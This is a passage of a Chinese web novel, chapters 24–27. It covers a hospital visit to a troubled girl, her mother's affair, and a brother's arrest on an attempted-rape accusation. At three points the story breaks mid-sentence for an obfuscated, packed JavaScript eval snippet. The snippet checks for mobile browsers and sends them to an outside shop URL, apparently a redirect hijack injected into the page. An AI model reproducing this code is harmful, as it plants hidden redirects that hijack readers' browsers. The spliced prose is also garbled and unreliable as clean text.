话音未落,瞥见林菲骤然绷紧的侧脸和更加空洞的眼神,李青立刻刹住话头,慌忙转圜:“不看也没关系,老师读给你听?英子小时候也很乖,像你一样……” 24. 你有喜欢的人吗 日子就在这种别扭与压抑中艰难前行,如同锈蚀的齿轮,每一次转动都发出令人牙酸的摩擦声。 一周后的下午,南雁和班长左鹏作为学生代表,提着用班费买的果篮和牛奶,走进了矿卫生所那间弥漫着消毒水气味的病房。 两人推开虚掩的房门,只见张小英正坐在床边的凳子上,手里握着水果刀,正对付着一个苹果。 她的手仍在微微颤抖,削下的果皮颤巍巍地悬垂着,险象环生。 听见动静,张小英猛地抬头,脸上瞬间堆起过于热络的笑容,那笑容像是用力贴在皮肤上,眼角的细纹里还藏着未揩净的泪痕:“哎呀,是南雁和左鹏来啦!快进来,快进来!你们来得可真巧!” 她说着,放下刀和苹果,忙不迭地站起来,双手在衣襟上擦了擦,又轻轻去推面壁躺着的林菲:“菲菲,你看谁来了?是你同学南雁和左鹏!你前几天还跟我嚷嚷呢,说闷得慌,想出院,想回学校上课,说想同学们了!” 转头又对南雁左鹏说道:“我这正愁没人跟菲菲解闷,你们来了,正好,快,陪菲菲说说话,聊聊天,让她也开心开心!” 南雁的目光越过张小英努力维持的笑脸,落在病床上那个纹丝不动的背影。 林菲趴在床上,背对着门口,头发散乱地贴在颈后,露出的那截脖子白得像没晒过太阳的瓷,连呼吸都轻得像缕烟,若不是肩膀微微起伏,几乎要让人以为床上是空的。 林菲听见有同学来探望,肩膀几不可察地抖了一下,仍旧面壁躺着。 左鹏把果篮放在床头柜上,清了清嗓子:“林菲,班里同学都惦记你呢,老师说等你回去,就组织大家给你补课,你落下的笔记我都帮你抄好了。” 他的话未说完,林菲突然动了一下,翻过身来。 南雁这才看清,她的眼睛红肿,眼角泪痕未干,嘴唇死死抿着,像是在拼命压抑着什么。 “这孩子,就是想你们想的。”张小英连忙递过纸巾,手忙脚乱地帮林菲擦眼泪,“南雁,你跟她说说,班里最近有没有什么好玩的事?” 话音未落,轻微的敲门声响起。 一个带着烟味的中年男声插了进来:“哟,这么热闹?看来我来的不是时候。” 林菲看清来人,身体骤然僵直。眼泪瞬间收了回去,眼底爆出淬毒似的恨意,浓烈得几乎要烧起来。 她的手死死攥住身下的床单,指节嶙峋泛白,连带着单薄的肩膀都在剧烈发抖。 这一切,分毫不差地落进南雁眼里。她不动声色地挪了半步,挡住了左鹏探询的目光。 张小英的脸“唰”地白了,下一秒就像阵风似的扑向来人,一边拉着他往外走,一边回头对屋里说:“这是我朋友,来看看菲菲的。你们先聊,我们去外面说两句话,马上回来!” 她力气大得惊人,那男人手里拎着的塑料袋被拽得晃荡,人也被扯得踉跄了一下。 到了门口,她又急急补了一句:“帮我多开导开导菲菲啊,这孩子最近心情一直不好。” 门被带上,隔绝了外面模糊的拉扯声。 病房里陷入一片诡异的寂静。 左鹏疑惑地挠了挠头:“那男的是谁啊?我怎么从来没见过?” 南雁没有回答,她的目光紧紧锁在林菲身上,她胸口剧烈起伏,眼泪无声地从眼角滑落,浸湿了枕头,死死咬着下唇,几乎要咬出血来。 “林菲,你没事吧?”南雁轻声问道,向前走了一步。 林菲猛地摇头,抬手狠狠擦去眼泪,声音嘶哑:“左鹏,我想喝水,水壶里没热水了,你能帮我接一瓶吗?” 左鹏愣了一下,连忙点头:“行,那我去水房,雁子你在这儿陪林菲。” 南雁:“嗯。” 他拎起墙角的热水壶,快步走了出去。 等左鹏的脚步声走远,病房里只剩下南雁林菲两个人。 南雁在床边的凳子坐下,凳面还残留着张小英的体温。她看着林菲通红的眼睛,开门见山:“支开他,想跟我说什么?” 林菲盯着南雁,眼泪还在掉,却一句话也不说。 南雁不急,静静等着。直到林菲的抽噎渐渐变成压抑的喘息,她才开口,问的却是风马牛不相及:“南雁,你有喜欢的人吗?” 南雁愣了愣,脑子里像过电影似的,把两辈子的事都翻了一遍。 上辈子她在矿区待了半辈子,后来为了逃离那个家,随便找了个男人嫁了,谈不上喜欢,只是为了有个地方落脚。 这辈子重生回来,满脑子都是怎么摆脱过去的命运,压根没心思想这些。 她摇了摇头:“没有。” “我就知道。”林菲小声说,语气里带着点委屈,“你没有喜欢的人,那我问你什么是爱,你肯定也不知道。” “没吃过猪肉,难道还没见过猪跑了?”南雁挑眉,“你不问,怎么知道我答不上来?” “你就是不知道。”林菲固执地说,眼泪又开始掉,“爱就是……就是不管别人怎么说,你都想跟他在一起,哪怕手段用尽,也要跟他在一起。” 南雁的心猛地一揪,她看着林菲的样子,突然想起上辈子,林菲似乎也出过这事,最后……最后怎么了? 她用力去想,却像隔着一层浓雾,怎么也抓不住。 是时间太久,忘了吗? 她甩甩头,把这莫名的烦躁压下去。这不是她该深究的。 她停止思考,正准备追问林菲这几个问题有什么含义,门外传来了左鹏的脚步声。 林菲像受惊的兔子,猛地躺回去,重新背对他们,声音闷在枕头里:“我累了,你们回吧。” 南雁把到嘴边的话咽了回去,无奈地帮她掖了掖被角。 左鹏还想说什么,被南雁拉了拉胳膊,两人轻手轻脚地走到门口。 “林菲,你好好休息,我们下次再来看你。”左鹏的声音放得很轻。 门关上的瞬间,南雁听见里面传来压抑的哭声,像被捂住了嘴的猫,细细碎碎的,扎得人心疼。 …… 张小英几乎是拖着陈卫国,一头扎进卫生所后院废弃的水泵房,反手“哐当”一声把铁门关上。 泵房里光线昏暗,只有高处一小扇积满灰尘的窗户透进稀薄的光柱,照出空气中疯狂舞动的尘糜。 老旧的泵体早已停转,寂静里,只听见彼此粗重的呼吸声。 “陈卫国!你疯了!”张小英声音劈裂,“谁让你来的!不是说了不让你来吗!刚才那是菲菲的同学!要是让他们看出什么,传到学校,传到老林耳朵里…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564517|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们全完了!” 陈卫国见张小英生气了,连忙将手上的东西放在地上,张开双手就想去抱,被张小英一把拍开。 “干什么呢?不怕被人看见?” “怕什么?”陈卫国笑了笑,眼神里带着点不以为然,“咱俩有做什么见不得人的事么?我就是听说菲菲住院了,过来看看。你一个人照顾她多辛苦,我心疼啊。” 他向前一步,试图去握张小英的手,张小英后退一步,背抵在了冰冷的水泵上。 “你少来这套!我告诉你,菲菲现在情绪很不稳定,她要是看见你,指不定会闹出什么事来!”张小英压低声音,眼神却不断瞟向门口,生怕有人突然进来。 陈卫国叹了口气,脸上堆起温柔的笑容:“小英,你别这么紧张。我就是以普通朋友的身份来看看,有什么不妥?你看,我还特地买了水果和营养品。” 他指了指地上的东西,“再说了,你的女儿不就是我的女儿吗?女儿生病了,我自然要来看看。” 他的声音低沉而带着一种蛊惑力,温热的气息喷在张小英的耳边。 这亲密的接触和熟悉的甜言蜜语,像温水一样,一点点融化着张小英紧绷的神经和试图竖起的壁垒。 她这些天在医院陪护,身心俱疲,丈夫林恩华是个闷葫芦,三棍子打不出个屁来,只知道埋头干活,家里出了这么大的事,他也只是蹲在门口抽烟,一句体贴话都没有。 而陈卫国不同,他会说暖心话,会疼人,懂得她作为一个女人的辛苦和寂寞。 见张小英态度软化,没有再次推开他,陈卫国胆子大了起来。他伸出另一只手,揽住张小英的腰,将她往自己怀里带了带。 张小英象征性地抗拒了一下,低声道:“别……这里不行……” 陈卫国非但没有松开,反而抱得更紧,嘴唇贴近她的耳朵:“我想你了,小英。这么久没见,你就一点不想我?” 张小英的身体微微颤抖,眼泪突然掉下来:“想有什么用?我们这样算什么?要是被老林知道……” “他不会知道的。”陈卫国打断她,一只手在她后背安抚性地摩挲,“你看这么久了,有人发现吗?你就是太紧张了。” 泵房的寂静放大了一切细微声响。张小英的抽泣,男人粗重的呼吸。 陈卫国低下头,嘴唇就凑了过来,急切地落在张小英的额头、脸颊上,最后捕捉到了她的嘴唇。 张小英起初还偏头躲闪,但在陈卫国密集的亲吻和呢喃中,她渐渐放弃了抵抗,身体软了下来,甚至开始生涩地回应。 这一刻,她忘了病房里的女儿,忘了在井下刨食的丈夫,忘了这摇摇欲坠的一切。 这危险的温暖,像鸦片,让她明知是饮鸩止渴,也贪恋这一刻的麻痹。 “想死我了,英子……”陈卫国一边亲,一边含糊地说着,“你天天在医院守着,我都多少天没见着你了……心里跟猫抓似的……” 然而,就在陈卫国的手开始不规矩地往她衣服里探的时候,张小英猛地一个激灵,清醒了过来。 她用力推开陈卫国,气息不稳地整理着被弄乱的衣服和头发,脸上红一阵白一阵:“不行!卫国,不行!这是医院!而且……而且菲菲还在病房里,她的同学也在……我们不能……” 25. 不省心 陈卫国怀里一空,有些悻悻,但看到张小英惊惶失措的样子,也知道不能逼得太紧。 他咂咂嘴,回味着刚才的滋味,安抚道:“好好好,听你的,不在这里。等你方便,嗯?” 他弯腰捡起刚才放在地上的麦乳精和水果罐头,“这些东西你拿给菲菲,就说是……就说是你买的,或者别人送的,别提我。” 张小英看着那些东西,心里五味杂陈。她既感激陈卫国的“心意”,又害怕这些东西像烧红的炭火,会烫伤女儿,也烫伤自己这摇摇欲坠的家庭。 她默默接过袋子,低声道:“你快走吧,以后……以后没我的同意,别来了。” 陈卫国满意地笑了笑,从口袋里掏出烟盒,点了一支烟:“怕什么,这里不会有人来的。” “我不是说这个。”张小英叹了口气,“我是说,你别再来医院了。菲菲她...她好像察觉到了什么。” 陈卫国抽烟的动作顿了顿:“她知道了?” “我不确定,但她最近看我的眼神不对劲,对你更是...…”张小英没有说完,但陈卫国已经明白她的意思。 他深吸一口烟,缓缓吐出:“小孩子家懂什么,过段时间就忘了。你别自己吓自己。” “不,你不了解菲菲。”张小英摇头,眼中满是忧虑,“她从小就敏感,最近又...又碰上那种事,情绪特别不稳定。我怕刺激她。” 陈卫国沉默了片刻,将烟蒂扔在地上踩灭:“那你说怎么办?我就这么消失?你舍得?” 张小英张了张嘴,却说不出话来。她舍不得,怎么能舍得?在这个压抑的矿区,陈卫国是她唯一的出口,哪怕这条路是错的,她也不想回头。 陈卫国知道今天只能到此为止,点了点头:“好了,别多想了,那我先走。你自己也多注意身体,别累着了。” 说完,又贪婪地看了张小英一眼,才转身拉开水泵房吱呀作响的铁门,探头看了看外面没人,迅速溜了出去。 张小英独自站在昏暗的水泵房里,靠着冰冷潮湿的墙壁,疲惫地吁了一口气。 她待情绪稍微平复,才理了理头发和衣襟,提着那袋沉甸甸的“慰问品”,做贼似的快步离开了。 * 矿上的路,在职工家属年复一年的念叨里,终于从纸面上挣扎出来,成了个实实在在的工程。 矿里批了款,但人工能省则省,定下一条不成文的规矩:每家每户,只要还能喘气、能走路的,下班放学,都得轮流去后山那片荒地,为修路出力。 于是,每日傍晚,后山那块常年只有野狗刨食的空地就活了过来。 铁锤敲石头的脆响能掀翻暮色,火星子在渐暗的天光里蹦哒,混着人们的吆喝声,把沉寂了半辈子的山坳闹得热气腾腾。 今天轮到南雁他们班。 女生们大多聚在背风的坡下,负责把大石块敲成合乎规格的碎石。 男生们则用背篓或扁担,将碎石运到不远处正在铺设的路基上。 南雁和刘小萍结伴,找了块相对平整的地面,戴上粗布手套,锤子抡得有模有样。 少女的力气不算大,但南雁前世也来敲过石头修过路,所谓一回生二回熟,这石头也就敲得干脆利落。 她们边干活边低声说着班级里的趣事,偶尔发出压抑着的轻快笑声,手下的动作却不停,不一会儿,脚边就堆起了不少合格的碎石,装满了一大筐。 汗水很快浸湿了南雁额前的碎发,顺着脸颊滑落,在下巴尖汇成一小滴,砸在干燥的尘土里,洇开一个深色的小点。 她刚直起有些发酸的腰,想用手背抹一把汗,一个沉默的身影便罩了过来,挡住了旁边篝火跳跃的光。 谢承景站在她面前,离得不远不近,他没说话,甚至没低头看她一眼,只是沉默地弯腰,双臂穿过装满碎石的箩筐绳索,腰背一挺,便将那沉甸甸的一筐石头稳稳背了起来。 少年的肩膀已经有了些坚硬的轮廓,承重时,背脊的线条绷得像一张拉满的弓。 他转身,朝着运输点的方向走去,脚步踏在碎石砾上,发出“沙沙”的轻响,那背影在昏黄的天光与跳跃的火光交织中,显得格外挺拔,也格外的孤寂。 南雁的目光不由自主地追随着那背影,直到他汇入搬运的人流,才像被烫到似的,飞快地垂落,重新聚焦在脚下斑驳的石块上。 刘小萍将这一幕尽收眼底,用手肘轻轻撞了南雁一下,凑过来,压低了声音,语气里充满了抑制不住的好奇:“哎,你俩最近咋回事?感觉……怪怪的。以前可不是这样,谢承景看见你,眼神都不一样。现在倒好,迎面碰上都不带抬眼皮的,跟陌生人似的?” 南雁盯着地上那些棱角分明的碎石块,抿了抿有些干裂的嘴唇,含糊地应道:“……能有什么事。快干活吧。” 刘小萍显然不信,歪着头,还想从南雁脸上找出点蛛丝马迹。 怎么可能没事? 谢承景刚转来矿上中学那会儿,因为是混血,没少被人在背后指指点点,甚至当面嘲弄是“杂种”、“洋鬼子”。 那时候,只有南雁,像是没看见那些异样的目光,该说话说话,该讨论问题讨论问题,坦荡得让人侧目。 要说谢承景在这矿区里还有哪个能说上几句话的朋友,南雁绝对是头一个。 往常在学校里,走廊上碰见了,谢承景会冲南雁微微点头;偶尔放学路上遇见了,两人也能并肩走一段,说几句关于功课或是矿区琐事的闲话。 谢承景话少,但对着南雁时,那双总是带着几分疏离的黑色眸子里,会透出些许温和,甚至偶尔,嘴角会牵起一点堪称柔软的弧度。 可不知从什么时候起,那种无形却又切实存在的默契与熟稔,就像被风吹散的沙,消失了。 两人之间,仿佛凭空竖起了一道透明的墙。 “真没啥?”刘小萍锲而不舍,目光在南雁和远处谢承景的背影之间逡巡,“我瞧着他刚才可是径直朝你这来的,王丽那边石头也堆满了,他看都没往那边看一眼。” 南雁没再搭话,重新抡起锤子,对着面前一块青灰色的石头砸了下去。 “铛”的一声,清脆响亮,石屑微微飞溅。 这动静引得旁边几个女生都抬头看了她一眼。 “赶紧干活,”南雁的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568776|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音没什么起伏,带着点烦躁,“去晚了,食堂连窝窝头都没了。” 刘小萍见她真不愿多谈,讪讪地撇了撇嘴,也只好重新拿起自己的工具。 叮叮当当的敲击声再次密集起来,淹没了少女心中细微的波澜。 …… 手腕被粗糙的锤柄磨得有些发红,酸胀感从小臂蔓延到肩胛。 南雁刚将铁锤放下,揉了揉发僵的虎口,准备短暂歇息片刻,一声带着哭腔的尖锐呼喊突然划破了工地上嘈杂的敲击声:“大姐——!大姐——!” 那声音太熟悉,也太不寻常。 南雁心头一跳,倏然抬头循声望去。 只见自家三妹南秀正深一脚浅一脚地朝着这边跑来,她瘦小的身影在坑洼不平的工地上跌跌撞撞,满脸汗水混合着尘土,在脸颊上冲出几道泥痕,胸脯剧烈地起伏着,显然是拼尽了全力跑来的。 一股不祥的预感瞬间攫住了南雁的心。 周围的同学也被这突如其来的变故惊动了。叮叮当当的敲石声像被掐住了脖子,骤然稀疏、停顿下来。 刘小萍举着锤子,愕然地张着嘴;王丽拄着锤柄,踮着脚望过来;连不远处那些正喊着号子搬运石块的男生们也停下了动作,疑惑、探究的目光齐刷刷地投向这边。 原本沉浸在集体劳动中的小小区域,气氛一下子变得凝滞而微妙。 南秀几乎是连滚带爬地扑到了南雁身前,一双冰凉的小手死死抓住她的胳膊,指甲几乎要掐进她的肉里,全身都在不受控制地颤抖。 “大姐!快!快回家去!”南秀的声音带着剧烈的喘息和浓重的哭音,语无伦次,“妈叫你…叫你赶快回去!家里、家里出、出大事了!” “嗡”的一声,南雁感觉自己的脑袋像是被什么重物敲了一下,周遭的声音变得遥远而模糊。 她下意识地反手握住南秀的手,试图让她冷静些:“啥事?南秀,你慢慢说,家里出啥事了?妈和爸呢?” 就在这时,谢承景越过散落的石块,快步走了过来。 他刚刚卸下肩上的一筐石子,额上还带着汗,眉头微蹙,目光关切地落在南雁和惊慌失措的南秀身上,沉默地站在那里。 南秀靠在南雁怀里,总算喘匀了点气,却哭得更凶了:“是大哥!是大哥出事了!妈在屋里急得直转圈,具体啥事妈咬着牙没说,光叫我赶紧来找你!但是……但是我看见了好多人来咱家,围在门口,其中……其中还有穿着制服的警察!” “什么?!” 南雁只觉得一股寒气从脚底瞬间窜遍了全身,四肢百骸都僵住了。 大哥?警察? 大哥又犯啥事了,怎么还招惹上了警察?这败家子!一天天的不省心! 混乱的思绪像一团乱麻,瞬间塞满了她的脑袋。 她来不及细想,也根本顾不上去理会周围同学投来的那些混杂着惊疑、同情、或许还有一丝看热闹不嫌事大的目光。 她拉起南秀的手,转身就往家的方向冲去,脚步仓促得差点被一块凸起的石头绊倒。 那一刻,什么锤子、手套、未敲完的石块,全都被她抛在了脑后。 26. 粗暴的指控 南雁刚拉住妹妹南秀的手,身侧便多了一道影子。 谢承景几乎在她迈步的瞬间就跟了上来,步伐又大又稳,紧贴在她右手边,像一道无声的屏障。 南雁猛一扭头,喉咙发紧,话音冲口而出:“你跟着干什么?回去!” 谢承景目光锁在前方坑洼的路面上,下颌线绷得死紧,声音低沉:“多个人,多份力。” 他喉结滚动一下,极快地瞥了她一眼,“不管什么事,有人在旁边……总归不一样。” 那句“用不着”硬生生卡在南雁喉咙里。 此刻的她像惊涛里一叶扁舟,谢承景这句简单的话,竟成了唯一能抓住的浮木。 她最终什么也没说,只用力一点头,攥紧南秀冰凉颤抖的小手,加快了脚步。 三人杂乱的脚步声在昏黄的暮色里擂鼓般敲响。 越近家门,不祥的预感越沉,几乎凝成实质压在胸口。 拐过最后那个熟悉的巷口,家门前那片空地的景象让南雁呼吸骤停——黑压压的人墙围得水泄不通。 交头接耳的议论、毫不掩饰的打量、混杂着几声唏嘘或幸灾乐祸的嗤笑,织成一张黏腻的网,兜头罩来。 从人缝里望去,自家那扇木门内人影憧憧。 南雁的心跳擂鼓般撞着耳膜。她深吸一口气,强迫自己镇定,拉着吓傻的南秀,用力往人堆里扎。 “让让!麻烦让一下!” 被挤开的人回头,认出是她,眼神立刻变得复杂,人群稀稀拉拉地让开一条窄缝。 谢承景紧贴在她身侧,沉着脸,眼神锐利,默不作声地用肩膀和手臂隔开拥挤的人潮,为她撑开一点通行的空间。 就在他们即将挤到最里层时,一个被谢承景格挡开,趔趄了一下的男人稳住身形,眯眼认出了南雁,嘴角勾起一抹残忍的笑意,扬声道::“哟!南家大丫头回来了!跑这么急,是赶着认强-奸-犯-哥哥啊?” “强-奸-犯”三字落地,周遭瞬间死寂。 所有目光,或同情、好奇、鄙夷、惊骇,齐刷刷地钉在南雁骤然失血的脸上。 她脚步钉死在原地,耳边嗡鸣,世界失真褪色。 那三个肮脏的字眼像烧红的烙铁,烫得她神魂俱颤。 南秀“哇”地放声大哭,死死抱住她的胳膊。 天旋地转间,一只温热有力的手稳稳托住了她的肘弯。 谢承景上前一步,几乎完全将她挡在了身后,隔开了那些刺人的视线。 他微微低头看她,眼神里没有质疑,没有怜悯,只有沉静的支撑:“先回家。别听狗叫。” 这话像一记闷棍,打散了南雁脑中的嗡鸣。她猛地回神,牙关紧咬,拽着南秀一头撞开虚掩的家门。 谢承景紧随而入,在门板合拢前,他回头目光如冷电般扫向人堆,尤其在刚才口出恶言的男人脸上停顿一瞬,眼神凌厉如刀,竟让那片嘈杂诡异地静了。 门板合拢,勉强隔绝了外面的风言风语。 屋内的空气浑浊不堪,烟草混着恐慌与绝望交织弥漫。 包兰芝瘫在墙角的旧藤椅里,面无人色,嘴唇哆嗦着,眼神空洞,像被抽走了魂。 两个穿着笔挺蓝色警服的人站在屋中,年长的那位眉头紧蹙,翻看着手里的笔记本,年轻的那位则目光锐利地扫视四周。 而南雁的大哥南天贵,佝偻着靠在对面墙上,脑袋耷拉着,双手被一副冰冷的手铐锁在身前。 矿工服上泥灰斑驳,头发乱如草窝,额角一块乌青,嘴角裂着血痂。 听到门响,他猛地抬头,看见南雁和南秀,眼中瞬间爆发出惊惧、屈辱又急切的光,嘴唇翕动半天,只挤出一声压抑带泣音的粗喘。 “妈!大哥!”南秀哭喊着要扑过去,被南雁死死箍住。 门外那句恶毒的指控仍在脑中尖啸。 南雁指甲深深掐进掌心,刺疼让她维持着最后的清醒。 她不相信南天贵有这胆子,他跟包兰芝一样,只敢窝里横,在外就熄火的人,怎么敢又怎么可能? 可现在,她肠子都悔青了,让谢承景跟来,这家丑,这污秽,哪能摊给外人看? “公安同志,这、这肯定是弄错了!我儿子……他就是混了点,可这种断子绝孙的事,他不敢,绝对不敢啊!”包兰芝被南秀的哭声惊醒,从藤椅里弹起来,扑到年长公安面前,死死抓住对方的胳膊,声音嘶哑得厉害。 年长公安合上笔记本,语气沉稳却不容置疑:“包兰芝同志,我们依法办事。受害人明确指认,现场勘察有痕迹,南天贵本人也承认昨晚去过案发地。请他回去配合调查,是必要的程序。请你们家属保持冷静,不要妨碍公务。” “去过……去过那儿就能定罪吗?”包兰芝激动地摇晃着他的胳膊。 “妈!我没干,你相信我!”南天贵突然挣扎起来,手铐哗啦作响,赤红着眼低吼:“我是去了小树林,但我没碰她!我是被冤枉的!” “老实点!”年轻公安厉声呵斥,上前按住他。 屋里顿时乱成一团。 南秀的哭声,包兰芝的哀告,南天贵的低吼,公安的训斥,几乎要掀翻低矮的屋顶。 南雁僵在门口,浑身冰凉如坠冰窟。她望着眼前这幕家庭惨剧,大脑一片空白,只有那三个字在盘旋、放大。 她艰难地侧过头,声音干涩得几乎听不见:“谢承景……我妹妹南玉、南春,还有弟弟南峰,快放学了……矿子弟小学,五年级,四年级,二年级……你……能不能……” 她顿住,后面的话难以启齿。 让一个外人去接弟弟妹妹,还要编造理由隐瞒家丑…… 身后沉默的漫长,南雁的心悬在崖边,指尖掐得更深。 “好。名字,班级。”谢承景的回应没有犹豫。 南雁紧绷的肩背几不可察地一松,语速加快:“南玉,五班。南春,四班。南峰,二班。你就说……家里有事,妈让他们在外面玩会儿再回。”她声音低下去,带着恳求,“别……别让他们知道。” “明白。”谢承景应道,转身利落地拉开门,身影迅速没入门外尚未散尽的人声里。 “谢谢。”南雁对着门板轻声说,转身扶住快瘫软的包兰芝:“妈,定定神,先听公安同志说完。”。 她抬头看向年长公安,努力让声音平稳,“公安同志,我是他妹妹。请问,究竟怎么回事?受害者是谁?有什么证据?” 年长公安打量她一眼,似乎对她此刻表现出来的冷静有些意外。 他沉吟片刻,语气比刚才稍缓:“昨晚九点到十点之间,矿西头那片废弃的小树林里发生了一起强-奸-案。受害者,林菲,也是你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582484|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矿区的。” 林菲?! 南雁眼前一黑。 那个前不久刚从医院出来、眼神总是空荡荡的林菲?怎么会是她?南天贵怎么会和她扯上关系? 她下意识看向南天贵,却见他脸色更灰败,眼神里除了冤屈,还有一抹慌乱。 “不可能……”南雁喃喃,这个消息比刚才那个粗暴的指控更让她心惊肉跳。 “受害人林菲明确指认,就是南天贵实施了犯罪。”公安的声音打破她的恍惚,“现场勘查也发现了搏斗挣扎的痕迹,与南天贵身上、脸上的情况基本吻合。而且,他本人也承认,昨晚九点半左右,确实在小树林与林菲发生过争执。” “争执?”南雁敏锐地抓住这个词,“为什么争执?” 南天贵猛地抬头,像是抓住了救命稻草,急声道:“对!我是跟她吵了架,但我根本没碰她!我是因为……” 他的话戛然而止,卡在喉咙里,眼神闪烁不定,下意识地避开了南雁紧紧追询的视线。 “因为什么?”年长公安也立刻追问,目光如炬地盯着他。 南天贵额头青筋暴起,张了张嘴,最终颓然低下头,闷声道:“……没什么,一点破事。但我发誓,我绝对没-强-奸-她!我走的时候她还好好的!” 南雁心念电转,忽然抬起眼,目光直直看向年长公安,问题清晰而冷静:“公安同志,既然林菲指认我哥-强-奸,那么,医院对她的检查报告中,是否提到了提取到能直接证明我哥实-施-犯-罪的生物样本?比如,精斑?” 年长公安显然没料到这个看似文弱的女孩会问出如此直击要害,甚至有些专业的问题。 他愣了一下,眼中闪过惊讶,重新审视了南雁一眼,神色比方才更加郑重。 “小同志,你这个问题……很关键。”他斟酌着用词,语气更为严谨,“接到报案后,我们第一时间送林菲同志去医院做了全面的身体检查。检查确认,受害人身上有多处挣扎造成的软组织挫伤和衣物破损,符合遭受暴力侵害的特征。” 他停顿了一下,才继续道:“但是,关于你提到的生物样本……根据医院出具的检查结果,以及受害人自己的陈述,她在遭受侵害过程中进行了激烈反抗,导致犯罪嫌疑人……也就是南天贵,最终未能得逞。因此,并未在她体内留下你所说的那种……直接物证。” “未遂?”南雁心脏猛地一缩,抓住了这个至关重要的信息,追问道,“也就是说,目前并没有最直接的物理证据证明我哥完成了-强-奸行为,主要依据是受害人的指认和现场的间接痕迹,对吗?” 年长公安的目光在南雁脸上停留片刻,点了点头:“可以这么理解。目前主要依据是受害者的指认、现场的勘察结果,以及南天贵本人承认案发时在场并发生过冲突。案件的定性还需要进一步调查取证。” 他合上笔记本,看向年轻的同事,示意准备将人带走。 “等等!”南雁上前一步,“公安同志,我哥说他没做,这里面一定有误会。既然证据链不完整,那就无法证明他有犯罪,你们也不能带走他。” 她不给两位公安说话的机会,目光转向南天贵,快速道:“哥,你最好想清楚,昨晚到底为什么去找林菲?你刚才所说的‘一点破事’是什么事?等到了公安局,你再隐瞒,谁也帮不了你!” 27. 风口浪尖 年长的公安审视她片刻,从口袋里掏出个证物袋,里面装着颗褪色的塑料纽扣:“现场找到这个,跟南天贵工装上缺的那颗一致。还有足迹,部分纹路和他鞋底对得上。受害人指甲缝里有皮屑,不过她手上有新划伤,却说不清什么时候弄的,比对结果还没出来。” 南雁目光倏地落在南天贵工装领口,那里果然缺了颗纽扣,边缘挂着半根线头。 她心口一沉,再次看向南天贵,声音压得更低,几乎从齿缝里挤出:“哥!你听到了?纽扣是拉扯掉的,皮屑是争执抓的,这些都不能直接定罪!你到底在怕什么?说出来!” 南天贵脸色惨白,汗珠从额角滚落。他看了看目光灼灼的妹妹,又看了看严肃的公安,胸腔剧烈起伏,仿佛在进行最后的挣扎。 最终,那股力量还是泄了,他颓然垮下肩膀,闷声道:“……我没什么好说的。我没干就是没干。” 又来了! 南雁气得浑身发颤,一把抓起桌上的搪瓷缸,指节攥得青白,在两位公安警告的目光中,重重顿在桌上,发出一声闷响。 年轻的公安眉头紧锁:“南天贵!隐瞒真相对你没任何好处!你现在涉嫌的是重罪!” 但南天贵仿佛聋了,重新低下头,用沉默筑起高墙。 现场僵住。 南雁盯着他那颗榆木脑袋,恨不能撬开来看看里面到底装了什么! “公安同志,”她再次开口,语气恳切而坚定,“我相信我哥哥没有做这种事。他现在不肯说,一定有难言之隐。我请求你们,深入调查,不要仅仅依靠单方面指认。林菲……她最近情绪可能不太稳定,或许其中真有误会?” 年长公安深深看她一眼,点头:“小同志,你的心情我们理解。法律讲究证据,我们会全面、客观地收集审查所有证据。现在,还是要依法带南天贵回去继续调查。” 包兰芝还想扑上去,南雁一把用力拦住,低喝道:“妈!袭警和妨碍公务是要坐牢的!你想让他罪上加罪吗?” 她转而望向公安,认真地说:“我相信你们会查明真相。” “那是自然。” 包兰芝只能哭着哀求:“同志,轻点,我儿子身上还有伤……” 南雁看着南天贵被公安带着,佝偻着背走向门口,那背影充满了绝望和她无法理解的顽固。 她敢肯定,她哥心里藏着的事,是一件他宁可背负强-奸未遂罪名也不敢说出来的事。 门被拉开,外面看热闹的人群还没散,指指点点的声音又传来。 南天贵羞愧地低下头,几乎被半推着走出了家门。 包兰芝追到门口,望着儿子被带走的背影,腿一软,瘫坐在地,拍着地面嚎啕大哭:“我的儿啊……这是造了什么孽啊……” 南秀也跟着放声大哭。 南雁被哭声搅得心烦意乱,一股邪火顶上来:“好了!整天就知道哭哭哭!福气都被哭没了!” 末了,又缓和道:“哭要是有用,天底下早就没有冤案了!南玉她们快回来了,你想吓死他们?” 包兰芝抬起泪眼朦胧的脸,尖声骂:“我怎么养了你这个冷心肠的白眼狼!那可是你亲大哥啊!” 南雁无语地瞥了她一眼,转身拿起脸盆毛巾,浸了冷水,拧干,递过去:“擦把脸。公安讲证据,光哭证据就自己飞来了?有这力气,不如想想大哥到底在怕什么!” 一想到要救南天贵,包兰芝的哭声戛然而止。她慌乱地爬起来,接过毛巾胡乱擦脸:“你、你可得帮你大哥……现在全家就指望你了……” 